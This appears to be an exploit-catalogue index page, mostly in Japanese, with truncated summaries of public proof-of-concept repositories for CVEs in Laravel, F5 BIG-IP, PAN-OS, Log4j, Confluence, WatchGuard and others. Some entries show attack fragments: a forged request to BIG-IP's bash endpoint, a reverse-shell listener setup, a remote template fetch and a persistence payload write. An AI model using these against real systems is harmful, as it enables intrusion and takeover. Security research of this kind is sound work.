CVE-2021-3129

CVE-2021-3129 LaravelデバッグRCE 使用方法 docker-compse up -dを実行して環境を起動 8888ポートにアクセスし、トップページのgenerate keyをクリックすると再現できます。 Docker環境についての注意点： .env.exampleを.envにコピーしてデバッグ環境を有効にする php.iniのphar.readonlyを無効にしました...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Python 3で書かれた自動化F5 Big IPリモートコード実行 CVE-2020-5902 スキャナー 脆弱性の説明 2020年6月30日にF5は重大なリモートコード実行の脆弱性 CVE-2020-5902 を公開しました。これは複数のバージョンのBig IPに影響します。 攻撃者は未公開ページのTMUI Traffic Management User Interface に存在するRCEとLFIを容易に悪用できます。 要するに、これはCVSSスコア10のリモートコード実行およびローカルファイルインクルージョンの脆弱性の一種です。...

CVE-2024-35333

CVE-2024-35333 html2xhtml バージョン 1.3 の文字セット処理機能に、スタックバッファオーバーフローの脆弱性が存在します。攻撃者は特別に細工された入力を提供することでこの脆弱性を悪用し、スタック上にある 'buf' 変数のオーバーフローを引き起こす可能性があります。この脆弱性を悪用されると、攻撃者により任意のコードが実行されたり、アプリケーションがクラッシュしてサービス拒否状態に陥る可能性があります。 クラッシュ再現フェーズ クラッシュを再現するには、プロジェクトのウェブサイトにアクセスし、最新バージョン 1.3 をダウンロードします。 tar...

CVE-2023-24203-and-CVE-2023-24204

CVE-2023-24203 と CVE-2023-24204 はじめに 進化し続けるサイバーセキュリティの世界において、Webアプリケーションは依然として攻撃者の主な標的であり、脆弱性を悪用しようとしています。近年、SourceCodester Simple Customer Relationship Management CRM System v1.0 で 2 つの深刻な脆弱性、CVE-2023-24203 と CVE-2023-24204 が発見されました。これらの脆弱性は、クロスサイトスクリプティング XSS および SQL...

cve-2020-5902

F5 BIG-IP「TMUI」RCE脆弱性のためのNMAPスクリプト 参照元:https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse...

CVE-2024-3400

CVE-2024-3400 root@kitploit: import os,base64,time systempth = "/usr/lib/python3.6/site-packages/system.pth" with opensystempth,'wb' as f: f.writeb'''import...

CVE-2017-1000486

CVE-2017-1000486 Proof of Concept Exploit for PrimeFaces 5.x EL Injection CVE-2017-1000486, a RCE vulnerability that can be used to gain Remote Code Execution on a target. Vulnerability description You can find an excellent description of the vulnerability on the Minded Security blog. Usage The...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Apache Log4j ≤ 2.14.1 の重大な脆弱性 Log4Shell に対するテストエクスプロイト。JNDI インジェクションを介してリモートコード実行を可能にします。 ⚠️ この PoC は教育目的および許可された環境での管理されたテストのみを対象としています。 明示的な許可なくシステムに対して使用しないでください。 要件 Python 3.x Java 8 以上 marshalsec HTTP サーバ 例: python3 -m http.server Docker...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、あなたのウェブサイトにcmd.vmを配置してください（ftpまたはhttpsを使用する必要があります。httpは動作しません） 2、RCEexp.py を修正し，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2024-24926

CVE-2024-24926 CVE-2024-24926 Vulnerability affects the Brooklyn theme for WordPress Description: The CVE-2024-24926 vulnerability affects the Brooklyn theme for WordPress versions up to 4.9.7.6 and is related to deserialization of untrusted data CWE-502. This allows an attacker to send malicious...

CVE-2025-31324

PoC - CVE-2025-31324 [email protected] SAP NetWeaver Visual Composer の脆弱性 CVE-2025-31324 に対するテスト用エクスプロイトです。エンドポイント /developmentserver/metadatauploader を介して、認証なしでの任意のファイルアップロード を可能にします。 ⚠️ このコードは教育目的および許可されたテスト専用です。本番環境や許可なくシステムに対して使用しないでください。 説明 この脆弱性により、認証されていないリモートの攻撃者が SAP...

CVE-2021-21972

CVE-2021-21972 脆弱性CVE-2021-21972 - vCenter Server RCEをチェックするNmapスクリプト 脆弱性リファレンス: https://app.howlermonkey.io/vulnerabilities/CVE-2021-21972 https://www.vmware.com/security/advisories/VMSA-2021-0002.html 使用例 nmap -p443 --script cve-2021-21972.nse --script-args vulns.showall IP クレジット Alex Hernandez...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian 概要 このリポジトリはCVE-2014-6271のPoC環境です。 apache2コンテナイメージを使用して、脆弱性を含むWebサービスをデプロイできます。 準備 イメージのビルド Dockerfileから安全でないイメージをビルドします。 root@kitploit: docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/ docker build -t training-website-poc:v1.0 ./web-insecure/...

Satellian-CVE-2020-7980

Satellian-CVE-2020-7980 Satellianは、Intellian衛星コントローラー（Intellian Aptus Web）におけるRCE脆弱性を示すPoCスクリプトです。 以下のスクリプトは、システム内のすべてのバイナリをリストし、その後テスターがサーバーと直接（通常はrootとして）対話できるようにします。 PoC root@kitploit: xh4h@Macbook-xh4h /Satellian python satellian.py -u http:// / \ oo Intellian Satellite Terminal PoC /-------/...

CVE-2019-5420-RCE

此存储库没有 README。...

log4j2-test

Log4j2 2.14.1 LDAP 远程代码执行漏洞CVE-2021-44228验证 🎈 在 Spring Boot 2.x 环境中测试 漏洞公告 https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : 将 Log4j2 版本降低到存在漏洞的版本 root@kitploit: 17 2.14.1 LoggingController : 添加直接接收用户输入并进行日志记录的控制器方法 root@kitploit: @PostMapping"/form" public String formString...

CVE-2022-1388_PoC

F5 BIG-IP RCE エクスプロイト CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl コマンドライン: root@kitploit: $ curl -i -s -k -X $'POST' \ ...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Prueba de concepto de RCE en Watchguard CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def...

laravel-CVE-2021-3129-EXP

laravel-CVE-2021-3129-EXP CVE-2021-3129 ワンクリックで getShell 使い方 python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000 成功したら、哥斯拉で接続してください。...

rtx-cve-2023-45779

このリポジトリは、Meta Red Team X の脆弱性開示に付随するものですAS IS で提供されます。これは Meta の公式プロジェクトではなく、公式プロジェクトのようにサポートされることはありません。 AOSP のテストキーで署名された APEX を搭載する Android デバイスの検出と悪用を実証するスクリプトとアーティファクトのセットです。問題の詳細については、ブログ記事「Missing signs: how several brands forgot to secure a key piece of Android」を参照してください。 ファイル apex-checke...